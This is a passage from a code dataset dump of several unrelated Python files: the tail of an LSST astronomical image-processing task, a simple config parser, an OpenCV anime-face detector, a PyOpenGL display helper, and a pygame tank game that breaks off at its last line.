\"\"\"!Detect suspect pixels and mask them using mask plane config.suspectMaskName, in place\n\n Suspect pixels are pixels whose value is greater than amp.getSuspectLevel().\n This is intended to indicate pixels that may be affected by unknown systematics;\n for example if non-linearity corrections above a certain level are unstable\n then that would be a useful value for suspectLevel. A value of `nan` indicates\n that no such level exists and no pixels are to be masked as suspicious.\n\n @param[in,out] exposure exposure to process; only the amp DataSec is processed\n @param[in] amp amplifier device data\n \"\"\"\n suspectLevel = amp.getSuspectLevel()\n if math.isnan(suspectLevel):\n return\n\n maskedImage = exposure.getMaskedImage()\n dataView = maskedImage.Factory(maskedImage, amp.getRawBBox())\n isrFunctions.makeThresholdMask(\n maskedImage=dataView,\n threshold=suspectLevel,\n growFootprints=0,\n maskName=self.config.suspectMaskName,\n )\n\n def maskAndInterpDefect(self, ccdExposure, defectBaseList):\n \"\"\"!Mask defects using mask plane \"BAD\" and interpolate over them, in place\n\n @param[in,out] ccdExposure exposure to process\n @param[in] defectBaseList a list of defects to mask and interpolate\n\n @warning: call this after CCD assembly, since defects may cross amplifier boundaries\n \"\"\"\n maskedImage = ccdExposure.getMaskedImage()\n defectList = []\n for d in defectBaseList:\n bbox = d.getBBox()\n nd = measAlg.Defect(bbox)\n defectList.append(nd)\n isrFunctions.maskPixelsFromDefectList(maskedImage, defectList, maskName='BAD')\n isrFunctions.interpolateDefectList(\n maskedImage=maskedImage,\n defectList=defectList,\n fwhm=self.config.fwhm,\n )\n\n def maskAndInterpNan(self, exposure):\n \"\"\"!Mask NaNs using mask plane \"UNMASKEDNAN\" and interpolate over them, in place\n\n We mask and interpolate over all NaNs, including those\n that are masked with other bits (because those may or may\n not be interpolated over later, and we want to remove all\n NaNs). Despite this behaviour, the \"UNMASKEDNAN\" mask plane\n is used to preserve the historical name.\n\n @param[in,out] exposure exposure to process\n \"\"\"\n maskedImage = exposure.getMaskedImage()\n\n # Find and mask NaNs\n maskedImage.getMask().addMaskPlane(\"UNMASKEDNAN\")\n maskVal = maskedImage.getMask().getPlaneBitMask(\"UNMASKEDNAN\")\n numNans = maskNans(maskedImage, maskVal)\n self.metadata.set(\"NUMNANS\", numNans)\n\n # Interpolate over these previously-unmasked NaNs\n if numNans > 0:\n self.log.warn(\"There were %i unmasked NaNs\", numNans)\n nanDefectList = isrFunctions.getDefectListFromMask(\n maskedImage=maskedImage,\n maskName='UNMASKEDNAN',\n )\n isrFunctions.interpolateDefectList(\n maskedImage=exposure.getMaskedImage(),\n defectList=nanDefectList,\n fwhm=self.config.fwhm,\n )\n\n def overscanCorrection(self, exposure, amp):\n \"\"\"Apply overscan correction, in-place\n\n Parameters\n ----------\n exposure : `lsst.afw.image.Exposure`\n Exposure to process; must include both data and bias regions.\n amp : `lsst.afw.table.AmpInfoRecord`\n Amplifier device data.\n\n Results\n -------\n result : `lsst.pipe.base.Struct` or `NoneType`\n `None` if there is no overscan; otherwise, this is a\n result struct with components:\n\n - ``imageFit``: Value(s) removed from image (scalar or\n `lsst.afw.image.Image`).\n - ``overscanFit``: Value(s) removed from overscan (scalar or\n `lsst.afw.image.Image`).\n - ``overscanImage``: Image of the overscan, post-subtraction\n (`lsst.afw.image.Image`).\n \"\"\"\n if not amp.getHasRawInfo():\n raise RuntimeError(\"This method must be executed on an amp with raw information.\")\n\n if amp.getRawHorizontalOverscanBBox().isEmpty():\n self.log.info(\"No Overscan region. Not performing Overscan Correction.\")\n return None\n\n maskedImage = exposure.getMaskedImage()\n dataView = maskedImage.Factory(maskedImage, amp.getRawDataBBox())\n overscanImage = maskedImage.Factory(maskedImage, amp.getRawHorizontalOverscanBBox())\n\n results = isrFunctions.overscanCorrection(\n ampMaskedImage=dataView,\n overscanImage=overscanImage,\n fitType=self.config.overscanFitType,\n order=self.config.overscanOrder,\n collapseRej=self.config.overscanRej,\n )\n results.overscanImage = overscanImage\n return results\n\n def addDistortionModel(self, exposure, camera):\n \"\"\"!Update the WCS in exposure with a distortion model based on camera geometry\n\n Add a model for optical distortion based on geometry found in `camera`\n and the `exposure`'s detector. The raw input exposure is assumed\n have a TAN WCS that has no compensation for optical distortion.\n Two other possibilities are:\n - The raw input exposure already has a model for optical distortion,\n as is the case for raw DECam data.\n In that case you should set config.doAddDistortionModel False.\n - The raw input exposure has a model for distortion, but it has known\n deficiencies severe enough to be worth fixing (e.g. because they\n cause problems for fitting a better WCS). In that case you should\n override this method with a version suitable for your raw data.\n\n @param[in,out] exposure exposure to process; must include a Detector and a WCS;\n the WCS of the exposure is modified in place\n @param[in] camera camera geometry; an lsst.afw.cameraGeom.Camera\n \"\"\"\n self.log.info(\"Adding a distortion model to the WCS\")\n wcs = exposure.getWcs()\n if wcs is None:\n raise RuntimeError(\"exposure has no WCS\")\n if camera is None:\n raise RuntimeError(\"camera is None\")\n detector = exposure.getDetector()\n if detector is None:\n raise RuntimeError(\"exposure has no Detector\")\n pixelToFocalPlane = detector.getTransform(PIXELS, FOCAL_PLANE)\n focalPlaneToFieldAngle = camera.getTransformMap().getTransform(FOCAL_PLANE, FIELD_ANGLE)\n distortedWcs = makeDistortedTanWcs(wcs, pixelToFocalPlane, focalPlaneToFieldAngle)\n exposure.setWcs(distortedWcs)\n\n def setValidPolygonIntersect(self, ccdExposure, fpPolygon):\n \"\"\"!Set the valid polygon as the intersection of fpPolygon and the ccd corners\n\n @param[in,out] ccdExposure exposure to process\n @param[in] fpPolygon Polygon in focal plane coordinates\n \"\"\"\n # Get ccd corners in focal plane coordinates\n ccd = ccdExposure.getDetector()\n fpCorners = ccd.getCorners(FOCAL_PLANE)\n ccdPolygon = Polygon(fpCorners)\n\n # Get intersection of ccd corners with fpPolygon\n intersect = ccdPolygon.intersectionSingle(fpPolygon)\n\n # Transform back to pixel positions and build new polygon\n ccdPoints = ccd.transform(intersect, FOCAL_PLANE, PIXELS)\n validPolygon = Polygon(ccdPoints)\n ccdExposure.getInfo().setValidPolygon(validPolygon)\n\n def brighterFatterCorrection(self, exposure, kernel, maxIter, threshold, applyGain):\n \"\"\"Apply brighter fatter correction in place for the image\n\n This correction takes a kernel that has been derived from flat field images to\n redistribute the charge. The gradient of the kernel is the deflection\n field due to the accumulated charge.\n\n Given the original image I(x) and the kernel K(x) we can compute the corrected image Ic(x)\n using the following equation:\n\n Ic(x) = I(x) + 0.5*d/dx(I(x)*d/dx(int( dy*K(x-y)*I(y))))\n\n To evaluate the derivative term we expand it as follows:\n\n 0.5 * ( d/dx(I(x))*d/dx(int(dy*K(x-y)*I(y))) + I(x)*d^2/dx^2(int(dy* K(x-y)*I(y))) )\n\n Because we use the measured counts instead of the incident counts we apply the correction\n iteratively to reconstruct the original counts and the correction. We stop iterating when the\n summed difference between the current corrected image and the one from the previous iteration\n is below the threshold. We do not require convergence because the number of iterations is\n too large a computational cost. How we define the threshold still needs to be evaluated, the\n current default was shown to work reasonably well on a small set of images. For more information\n on the method see DocuShare Document-19407.\n\n The edges as defined by the kernel are not corrected because they have spurious values\n due to the convolution.\n \"\"\"\n self.log.info(\"Applying brighter fatter correction\")\n\n image = exposure.getMaskedImage().getImage()\n\n # The image needs to be units of electrons/holes\n with self.gainContext(exposure, image, applyGain):\n\n kLx = numpy.shape(kernel)[0]\n kLy = numpy.shape(kernel)[1]\n kernelImage = afwImage.ImageD(kLx, kLy)\n kernelImage.getArray()[:, :] = kernel\n tempImage = image.clone()\n\n nanIndex = numpy.isnan(tempImage.getArray())\n tempImage.getArray()[nanIndex] = 0.\n\n outImage = afwImage.ImageF(image.getDimensions())\n corr = numpy.zeros_like(image.getArray())\n prev_image = numpy.zeros_like(image.getArray())\n convCntrl = afwMath.ConvolutionControl(False, True, 1)\n fixedKernel = afwMath.FixedKernel(kernelImage)\n\n # Define boundary by convolution region. The region that the correction will be\n # calculated for is one fewer in each dimension because of the second derivative terms.\n # NOTE: these need to use integer math, as we're using start:end as numpy index ranges.\n startX = kLx//2\n endX = -kLx//2\n startY = kLy//2\n endY = -kLy//2\n\n for iteration in range(maxIter):\n\n afwMath.convolve(outImage, tempImage, fixedKernel, convCntrl)\n tmpArray = tempImage.getArray()\n outArray = outImage.getArray()\n\n with numpy.errstate(invalid=\"ignore\", over=\"ignore\"):\n # First derivative term\n gradTmp = numpy.gradient(tmpArray[startY:endY, startX:endX])\n gradOut = numpy.gradient(outArray[startY:endY, startX:endX])\n first = (gradTmp[0]*gradOut[0] + gradTmp[1]*gradOut[1])[1:-1, 1:-1]\n\n # Second derivative term\n diffOut20 = numpy.diff(outArray, 2, 0)[startY:endY, startX + 1:endX - 1]\n diffOut21 = numpy.diff(outArray, 2, 1)[startY + 1:endY - 1, startX:endX]\n second = tmpArray[startY + 1:endY - 1, startX + 1:endX - 1]*(diffOut20 + diffOut21)\n\n corr[startY + 1:endY - 1, startX + 1:endX - 1] = 0.5*(first + second)\n\n tmpArray[:, :] = image.getArray()[:, :]\n tmpArray[nanIndex] = 0.\n tmpArray[startY:endY, startX:endX] += corr[startY:endY, startX:endX]\n\n if iteration > 0:\n diff = numpy.sum(numpy.abs(prev_image - tmpArray))\n\n if diff < threshold:\n break\n prev_image[:, :] = tmpArray[:, :]\n\n if iteration == maxIter - 1:\n self.log.warn(\"Brighter fatter correction did not converge, final difference %f\" % diff)\n\n self.log.info(\"Finished brighter fatter in %d iterations\" % (iteration + 1))\n image.getArray()[startY + 1:endY - 1, startX + 1:endX - 1] += \\\n corr[startY + 1:endY - 1, startX + 1:endX - 1]\n\n def attachTransmissionCurve(self, exposure, opticsTransmission=None, filterTransmission=None,\n sensorTransmission=None, atmosphereTransmission=None):\n \"\"\"Attach a TransmissionCurve to an Exposure, given separate curves for\n different components.\n\n Parameters\n ----------\n exposure : `lsst.afw.image.Exposure`\n Exposure object to modify by attaching the product of all given\n ``TransmissionCurves`` in post-assembly trimmed detector\n coordinates. Must have a valid ``Detector`` attached that matches\n the detector associated with sensorTransmission.\n opticsTransmission : `lsst.afw.image.TransmissionCurve`\n A ``TransmissionCurve`` that represents the throughput of the\n optics, to be evaluated in focal-plane coordinates.\n filterTransmission : `lsst.afw.image.TransmissionCurve`\n A ``TransmissionCurve`` that represents the throughput of the\n filter itself, to be evaluated in focal-plane coordinates.\n sensorTransmission : `lsst.afw.image.TransmissionCurve`\n A ``TransmissionCurve`` that represents the throughput of the\n sensor itself, to be evaluated in post-assembly trimmed detector\n coordinates.\n atmosphereTransmission : `lsst.afw.image.TransmissionCurve`\n A ``TransmissionCurve`` that represents the throughput of the\n atmosphere, assumed to be spatially constant.\n\n All ``TransmissionCurve`` arguments are optional; if none are provided,\n the attached ``TransmissionCurve`` will have unit transmission\n everywhere.\n\n Returns\n -------\n combined : ``lsst.afw.image.TransmissionCurve``\n The TransmissionCurve attached to the exposure.\n \"\"\"\n return isrFunctions.attachTransmissionCurve(exposure, opticsTransmission=opticsTransmission,\n filterTransmission=filterTransmission,\n sensorTransmission=sensorTransmission,\n atmosphereTransmission=atmosphereTransmission)\n\n @contextmanager\n def gainContext(self, exp, image, apply):\n \"\"\"Context manager that applies and removes gain\n \"\"\"\n if apply:\n ccd = exp.getDetector()\n for amp in ccd:\n sim = image.Factory(image, amp.getBBox())\n sim *= amp.getGain()\n\n try:\n yield exp\n finally:\n if apply:\n ccd = exp.getDetector()\n for amp in ccd:\n sim = image.Factory(image, amp.getBBox())\n sim /= amp.getGain()\n\n @contextmanager\n def flatContext(self, exp, flat, dark=None):\n \"\"\"Context manager that applies and removes flats and darks,\n if the task is configured to apply them.\n \"\"\"\n if self.config.doDark and dark is not None:\n self.darkCorrection(exp, dark)\n if self.config.doFlat:\n self.flatCorrection(exp, flat)\n try:\n yield exp\n finally:\n if self.config.doFlat:\n self.flatCorrection(exp, flat, invert=True)\n if self.config.doDark and dark is not None:\n self.darkCorrection(exp, dark, invert=True)\n\n\nclass FakeAmp(object):\n \"\"\"A Detector-like object that supports returning gain and saturation level\"\"\"\n\n def __init__(self, exposure, config):\n self._bbox = exposure.getBBox(afwImage.LOCAL)\n self._RawHorizontalOverscanBBox = afwGeom.Box2I()\n self._gain = config.gain\n self._readNoise = config.readNoise\n self._saturation = config.saturation\n\n def getBBox(self):\n return self._bbox\n\n def getRawBBox(self):\n return self._bbox\n\n def getHasRawInfo(self):\n return True # but see getRawHorizontalOverscanBBox()\n\n def getRawHorizontalOverscanBBox(self):\n return self._RawHorizontalOverscanBBox\n\n def getGain(self):\n return self._gain\n\n def getReadNoise(self):\n return self._readNoise\n\n def getSaturation(self):\n return self._saturation\n\n def getSuspectLevel(self):\n return float(\"NaN\")\n","sub_path":"python/lsst/ip/isr/isrTask.py","file_name":"isrTask.py","file_ext":"py","file_size_in_byte":50854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"246983044","text":"#! /usr/bin/env python3\n# coding=utf-8\nfrom datetime import datetime, date, time, timedelta\nimport re\nimport codecs\nimport sys\nimport chardet\n#################################################################################################################\n'''以下的函数用来处理配置文件,因为不太了解python的配置文件有没有现成的用法,所以是自己定义的一种配置文件,\n十分简陋,而且可能出错,以后如果能改进就最好了\n'''\n#################################################################################################################\n\ndef pure_string(str):\n\treturn str.replace(' ','').replace('\\n','')\n\ndef process_time_point(f):\n\tline = f.readline()\n\td = {}\n\twhile line and 'EndTimePoint' not in line:\n line = pure_string(line)\n if not line:\n line = f.readline()\n continue\n l = line.split('@')\n t = tuple(l[1].split('-'))\n d[l[0]] = (int(t[0].replace(':','')), int(t[1].replace(':', '')) ) # transfer the time string into a integer\n line = f.readline()\n\treturn d\n\ndef process_members(f):\n line = f.readline()\n L = []\n while line and 'EndMembers' not in line:\n line = pure_string(line)\n if not line:\n line = f.readline()\n continue\n L.append(tuple(line.split(',') ) )\n line = f.readline()\n return L\n\ndef process_special_case(f, reason):\n line = f.readline()\n d = {}\n d['reason'] = reason\n while line and 'EndSpecialCase' not in line:\n line = pure_string(line)\n if not line:\n line = f.readline()\n continue\n tmp = line.split(':')\n d[tmp[0]] = tuple(tmp[1].split(','))\n\n line = f.readline()\n return d\n\ndef process_config_file(configure_file_name):\n f = codecs.open(configure_file_name, encoding = 'UTF-8')\n specialCase_dict_list = []\n line = f.readline()\n\n while line:\n line = pure_string(line)\n if '#' in line:\n line = f.readline()\n continue\n if 'TimePoint:' == line:\n time_point_dict = process_time_point(f)\n line = f.readline()\n continue\n if 'Members:' == line:\n members_list = process_members(f)\n line = f.readline()\n continue\n if 'SpecialCase:' in line:\n line = split(':')\n specialCase_dict_list.append( process_special_case(f, line[1] ) )\n line = f.readline()\n\n return time_point_dict, members_list, specialCase_dict_list\n\t\t\n###########################################################################################################\n\ndef main():\n # 中文全部是用gbk编码的,显示的时候请用gdk解码\n (a, members, b) = process_config_file( 'DoorCheck.cnf' )\nif __name__ == '__main__':\n\tmain()\n","sub_path":"process_conf.py","file_name":"process_conf.py","file_ext":"py","file_size_in_byte":2879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405899431","text":"import cv2\nimport os.path\n\ndef detect(filename, cascade_file = \"lbpcascade_animeface.xml\"):\n if not os.path.isfile(cascade_file):\n raise RuntimeError(\"%s: not found\" % cascade_file)\n\n cascade = cv2.CascadeClassifier(cascade_file)\n image = cv2.imread(filename, cv2.IMREAD_COLOR)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n gray = cv2.equalizeHist(gray)\n\n faces = cascade.detectMultiScale(gray,\n # detector options\n scaleFactor = 1.1,\n minNeighbors = 5,\n minSize = (10, 10))\n count = 0\n faces_out = []\n for (x, y, w, h) in faces:\n count += 1\n cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 3)\n cv2.putText(image, str(count), (x + w, y + h), cv2.FONT_ITALIC, 1, (0, 0, 0), 3)\n cropped = image[y:y + h, x:x + w]\n faces_out.append(cropped)\n\n numb = open('count_for_bot.txt').read()\n name = \"out_img_to_bot\" + numb + \".png\"\n cv2.imwrite(\"history_bot/\" + name, image)\n open('count_for_bot.txt', 'w').write(str(int(numb) + 1))\n return faces_out\n","sub_path":"detect_bot.py","file_name":"detect_bot.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"308150683","text":"import pygame\r\nimport time\r\nfrom pygame.locals import *\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\n\r\n\r\nflashLightPos = [ 0.1, 0.1, 0.1];\r\nflashLightDir = [ 0.1, 0.1, 0.1 ];\r\nflashLightColor = [ 0.1, 0.1, 0.1 ];\r\n\r\nclass Display:\r\n \r\n def __init__(self, title='', size=(800, 600), map_size = (10,6)):\r\n self.width, self.height = map_size\r\n self.title = title\r\n self.size = size\r\n self.delta = 0\r\n self.currentFrame = self.get_time()\r\n self.lastFrame = self.get_time()\r\n self.surface = pygame.display.set_mode(self.size, DOUBLEBUF | OPENGL)\r\n\r\n pygame.display.set_caption(self.title)\r\n\r\n glClearColor(0.1, 0.1, 0.1, 0)\r\n\r\n gluPerspective(60, (size[0] / size[1]), 0.1, 80.0)\r\n gluLookAt(-3, -7, 5, 0, 0, 0, 0, 0, 1)\r\n\r\n glTranslatef(-self.width / 2, self.height / 2, 0)\r\n glEnable(GL_POLYGON_SMOOTH)\r\n glEnable(GL_BLEND)\r\n glLineWidth(2)\r\n glDepthFunc(GL_LESS)\r\n glShadeModel(GL_SMOOTH)\r\n glEnable(GL_DEPTH_TEST)\r\n glEnable(GL_LINE_SMOOTH)\r\n glEnable(GL_COLOR_MATERIAL)\r\n glEnable(GL_DEPTH_TEST)\r\n\r\n def update(self):\r\n self.delta = self.currentFrame - self.lastFrame\r\n pygame.display.flip()\r\n self.lastFrame = self.get_time()\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n glViewport(0, 0, self.surface.get_width(), self.surface.get_height())\r\n\r\n @staticmethod\r\n def quit(event):\r\n ESCAPE = event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE\r\n QUIT = event.type == pygame.QUIT\r\n SPACE = event.type == pygame.KEYDOWN and event.key == pygame.K_SPACE\r\n return ESCAPE or QUIT or SPACE\r\n\r\n @staticmethod\r\n def get_time():\r\n return time.time() * 1000\r\n \r\n @staticmethod\r\n def loadTexture():\r\n textureSurface = pygame.image.load('./drawing/images.jpg')\r\n textureData = pygame.image.tostring(textureSurface, \"RGBA\", 1)\r\n width = textureSurface.get_width()\r\n height = textureSurface.get_height()\r\n\r\n texid = glGenTextures(1)\r\n glBindTexture(GL_TEXTURE_2D, texid)\r\n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR)\r\n glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB, width, height, 0, GL_RGB, GL_UNSIGNED_BYTE, textureData)\r\n glEnable(GL_TEXTURE_2D)","sub_path":"drawing/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"383387375","text":"#参考www.pygame.org/docs\nimport pygame,sys,time\nfrom pygame.locals import *\nfrom random import randint\n\nclass TankMain(): #坦克大战 主界面 \n width=600\n height=500\n my_tank = None\n my_tank_missile_list = []#我方坦克炮弹列表\n #ene_list = []\n wall=None\n ene_list = pygame.sprite.Group()#敌方坦克的组群\n explode_list = []#爆炸列表\n ene_missile_list=pygame.sprite.Group()#敌方坦克的组群\n \n def startGame(self):#开始游戏的方法\n pygame.init()\n #创建屏幕大小(宽,高),特性(0,R,F),颜色位\n screem = pygame.display.set_mode((TankMain.width,TankMain.height),0,32)\n #标题\n pygame.display.set_caption(\"坦克大战\")\n TankMain.my_tank = My_Tank(screem)#我坦克显示在中下部\n TankMain.wall=Wall(screem,150,150,200,30)#创建墙大小\n for i in range(1,6):#初始化5个敌方坦克\n TankMain.ene_list.add(Ene_Tank(screem))#敌方坦克加入组中\n while True:\n #背景色color RGB\n screem.fill((0,0,0))#背景hei色\n for i,text in enumerate(self.write_text(),0):#显示左上角文字,enumerate()位枚举函数\n screem.blit(text,(2,5+(20*i)))\n\n if len(TankMain.ene_list) == 0:#如果地方被消灭\n screem.blit(self.write_1(),(100,200)) \n TankMain.wall.display()#显示游戏中的墙\n TankMain.wall.hit_other()#碰撞检测\n self.get_event(TankMain.my_tank,screem)#获取事件,根据获取处理\n if TankMain.my_tank:\n TankMain.my_tank.hit_ene_missile()#我方坦克与敌方炮弹碰撞检测\n if TankMain.my_tank and TankMain.my_tank.live:\n TankMain.my_tank.display()#显示我方坦克\n TankMain.my_tank.move()#用移动的方法移动坦克\n else:\n TankMain.my_tank = None\n screem.blit(self.write_2(),(150,200)) #显示DEFEAT\n \n for ene in TankMain.ene_list:#显示和移动敌方坦克\n ene.display()\n ene.random_move()\n ene.random_fire()\n for m in TankMain.my_tank_missile_list: # 显示我方发射炮弹\n if m.live:#我方活着才能发射炮弹\n m.display()\n m.hit_tank()\n m.move()\n else:\n TankMain.my_tank_missile_list.remove(m)\n for m in TankMain.ene_missile_list: # 显示敌方发射炮弹\n if m.live:#活着才能发射炮弹\n m.display()\n #m.hit_tank()\n m.move()\n else:\n TankMain.ene_missile_list.remove(m)\n \n for explode in TankMain.explode_list:\n explode.display()\n\n\n time.sleep(0.05)\n #显示重置\n pygame.display.update()\n\n def get_event(self,my_tank,screem):#获取事件,键盘鼠标等\n for event in pygame.event.get():\n if event.type == QUIT:\n self.stopGame()#右上角退出\n if event.type == KEYDOWN and (not my_tank) and event.key == K_n:\n TankMain.my_tank = My_Tank(screem)#我方坦克显示\n if event.type == KEYDOWN and my_tank:\n if event.key == K_LEFT:\n my_tank.direction=\"L\"\n #my_tank.move()\n my_tank.stop = False\n if event.key == K_RIGHT:\n my_tank.direction=\"R\"\n #my_tank.move()\n my_tank.stop = False\n if event.key == K_UP:\n my_tank.direction=\"U\"\n #my_tank.move()\n my_tank.stop = False\n if event.key == K_DOWN:\n my_tank.direction=\"D\"\n #my_tank.move()\n my_tank.stop = False\n if event.key == K_ESCAPE:#ESC退出\n self.stopGame()\n if event.key == K_SPACE:\n m = my_tank.fire()\n m.good = True #我方发射的炮弹\n TankMain.my_tank_missile_list.append(m)\n if event.type == KEYUP and my_tank:\n if event.key == K_LEFT or event.key == K_RIGHT or event.key == K_UP or event.key == K_DOWN:\n my_tank.stop = True\n def write_text(self):\n font = pygame.font.SysFont(\"隶书\",20)\n text_sf1 = font.render(\"敌方坦克为:%d\"%(len(TankMain.ene_list)),True,(255,0,0))\n text_sf2 = font.render(\"我方子弹为:%d\"%(len(TankMain.my_tank_missile_list)),True,(255,0,0))\n return text_sf1,text_sf2\n def write_1(self):\n font = pygame.font.SysFont(\"隶书\",100)\n text_1 = font.render(\"VICTORY\",True,(255,0,0))\n return text_1\n def write_2(self):\n font = pygame.font.SysFont(\"隶书\",100)\n text_2 = font.render(\"DEFEAT\",True,(255,0,0))\n return text_2\n def stopGame(self):#停止游戏\n sys.exit() \n\nclass BaseItem(pygame.sprite.Sprite):\n def __init__(self,screem):\n pygame.sprite.Sprite.__init__(self)\n #所有对象共享的功能属性\n self.screem=screem#坦克使用游戏屏幕窗口\n def display(self):\n if self.live:\n self.image=self.images[self.direction]\n self.screem.blit(self.image,self.rect)#使用边界画出坦克\n \nclass Tank(BaseItem): \n #定义类属性宽和高\n width=50\n height=50\n def __init__(self,screem,left,top):\n super().__init__(screem)\n self.direction=\"U\"#坦克默认方向\n self.speed=5#tank移动速度\n self.stop = False\n self.images={}#坦克所有图片\n self.images[\"L\"]=pygame.image.load(\"images/tankL.gif\")\n self.images[\"R\"]=pygame.image.load(\"images/tankR.gif\")\n self.images[\"U\"]=pygame.image.load(\"images/tankU.gif\")\n self.images[\"D\"]=pygame.image.load(\"images/tankD.gif\")\n self.image=self.images[self.direction]#坦克图片由方向决定\n self.rect=self.image.get_rect()#图片边界(坦克)\n self.rect.left=left\n #self.rect.right=right\n self.rect.top=top\n #self.rect.bottom=bottom\n self.live=True#坦克状态是否活着\n self.oldtop=self.rect.top\n self.oldleft=self.rect.left\n def stay(self):\n self.rect.top=self.oldtop\n self.rect.left=self.oldleft\n def display(self):#吧坦克显示在游戏窗口上\n self.image=self.images[self.direction]\n self.screem.blit(self.image,self.rect)#使用边界画出坦克\n def move(self):#移动我方坦克的方法\n if not self.stop:#如果不是停止状态\n self.oldleft=self.rect.left\n self.oldtop=self.rect.top\n if self.direction==\"L\":#如果方向向左,只需要left减小,移动\n if self.rect.left>0:\n self.rect.left-=self.speed\n else:\n self.rect.left=0\n elif self.direction==\"R\":\n if self.rect.right < TankMain.width:\n self.rect.right+=self.speed\n else:\n self.rect.right=TankMain.width\n elif self.direction==\"U\":\n if self.rect.top>0:\n self.rect.top-=self.speed\n else:\n self.rect.top=0\n elif self.direction==\"D\":\n if self.rect.bottom < TankMain.height:\n self.rect.bottom+=self.speed\n else:\n self.rect.bottom=TankMain.height\n def fire(self):\n m = Missile(self.screem,self)\n return m\n\nclass My_Tank(Tank):#我方坦克类,继承坦克\n def __init__(self,screem):\n super().__init__(screem,275,450)#我坦克显示在中下部\n self.stop = True#默认坦克静止\n self.live = True\n def hit_ene_missile(self):#用我方坦克检测炮弹碰撞\n hit_list = pygame.sprite.spritecollide(self,TankMain.ene_missile_list,False)\n for m in hit_list:#我方坦克中弹\n m.live = False\n TankMain.ene_missile_list.remove(m)\n self.live = False\n explode = Explode(self.screem,self.rect)\n TankMain.explode_list.append(explode)\n\n\nclass Ene_Tank(Tank):#敌方坦克类,继承坦克\n def __init__(self,screem):\n super().__init__(screem,randint(1,5)*100,0)#敌方坦克显示在上部\n self.speed=4\n self.step=20\n self.get_random_direction()\n def get_random_direction(self):\n r = randint(1,5)\n if r == 4:\n self.direction=\"L\"\n self.stop =False\n elif r == 1:\n self.direction=\"R\"\n self.stop =False\n elif r == 2:\n self.direction=\"U\"\n self.stop =False\n elif r == 3:\n self.direction=\"D\"\n self.stop =False\n def random_move(self):\n if self.live:\n if self.step==0:\n self.get_random_direction()\n self.step=20#移动20步才能改变方法\n else:\n self.move()\n self.step -= 1\n def random_fire(self):\n r = randint(0,50)\n if r>45:#地方发射炮弹几率\n m = self.fire()\n TankMain.ene_missile_list.add(m)\n\n\nclass Missile(BaseItem):\n width=12\n height=12\n def __init__(self,screem,tank):\n super().__init__(screem)\n self.tank=tank\n self.direction=tank.direction#炮弹方向和坦克方向一样\n self.speed=15#tank移动速度\n self.stop = False\n self.images={}#坦克所有图片\n self.images[\"L\"]=pygame.image.load(\"images/missileL.gif\")\n self.images[\"R\"]=pygame.image.load(\"images/missileR.gif\")\n self.images[\"U\"]=pygame.image.load(\"images/missileU.gif\")\n self.images[\"D\"]=pygame.image.load(\"images/missileD.gif\")\n self.image=self.images[self.direction]#炮弹图片由方向决定\n self.rect=self.image.get_rect()#图片边界(坦克)\n self.rect.left=tank.rect.left+(tank.width-self.width)/2\n #self.rect.right=right\n self.rect.top=tank.rect.top+(tank.height-self.height)/2\n #self.rect.bottom=bottom\n self.live=True#炮弹状态活着\n def move(self):#移动炮弹的方法\n if not self.stop:#如果不是停止状态\n if self.direction==\"L\":#如果方向向左,只需要left减小,移动\n if self.rect.left>0:#判断是否在屏幕左边界\n self.rect.left-=self.speed\n else:\n self.live=False\n elif self.direction==\"R\":#如果方向向右,right增加\n if self.rect.right < TankMain.width:\n self.rect.right+=self.speed\n else:\n self.live=False\n elif self.direction==\"U\":\n if self.rect.top>0:\n self.rect.top-=self.speed\n else:\n self.live=False\n elif self.direction==\"D\":\n if self.rect.bottom < TankMain.height:\n self.rect.bottom+=self.speed\n else:\n self.live=False\n def hit_tank(self):#炮弹击中tank,1.我方击中敌方,2.敌方击中我方\n if self.good:\n hit_list = pygame.sprite.spritecollide(self, TankMain.ene_list, False)\n for e in hit_list:\n e.live =False\n TankMain.ene_list.remove(e)\n self.live = False\n explode = Explode(self.screem,e.rect)\n TankMain.explode_list.append(explode)\n\nclass Explode(BaseItem):#爆炸类\n def __init__(self,screem,rect):\n super().__init__(screem)\n self.live = True\n self.images=[pygame.image.load(\"images/5.gif\"),\\\n pygame.image.load(\"images/6.gif\"),\\\n pygame.image.load(\"images/7.gif\"),\\\n pygame.image.load(\"images/8.gif\"),\\\n pygame.image.load(\"images/9.gif\"),\n pygame.image.load(\"images/10.gif\"),]\n self.step=0\n self.rect=rect#爆炸位置和被击中坦克的位置一样\n def display(self):#display游戏中循环调用。每0.05s点用一次\n if self.live:\n if self.step == len(self.images):#最后一张图片已经显示\n self.live = False\n else:\n self.image = self.images[self.step]\n self.screem.blit(self.image,self.rect)#使用边界画出爆炸\n self.step+=1\n else:\n return\n\nclass Wall(BaseItem):\n def __init__(self,screem,left,top,width,height):\n super().__init__(screem)\n self.rect = Rect(left,top,width,height)\n self.color=(255,255,255)\n def display(self):\n self.screem.fill(self.color,self.rect)\n def hit_other(self):#墙与其他对象碰撞检测\n if TankMain.my_tank:\n is_hit=pygame.sprite.collide_rect(self,TankMain.my_tank)\n if is_hit:\n TankMain.my_tank.stop = True#如果碰撞停止移动\n TankMain.my_tank.stay()\n if len(TankMain.ene_list)!=0:\n hit_list = pygame.sprite.spritecollide(self,TankMain.ene_list,False)\n for e in hit_list:\n e.stop=True\n e.stay()\n if len(TankMain.ene_missile_list)!=0:\n hit_list = pygame.sprite.spritecollide(self,TankMain.ene_missile_list,False)\n for f in hit_list:\n f.live=False\n if len(TankMain.my_tank_missile_list)!=0:\n hit_list = pygame.sprite.spritecollide(self,TankMain.my_tank_missile_list,False)\n for g in hit_list:\n g.live=False\n\n\n\ngame = 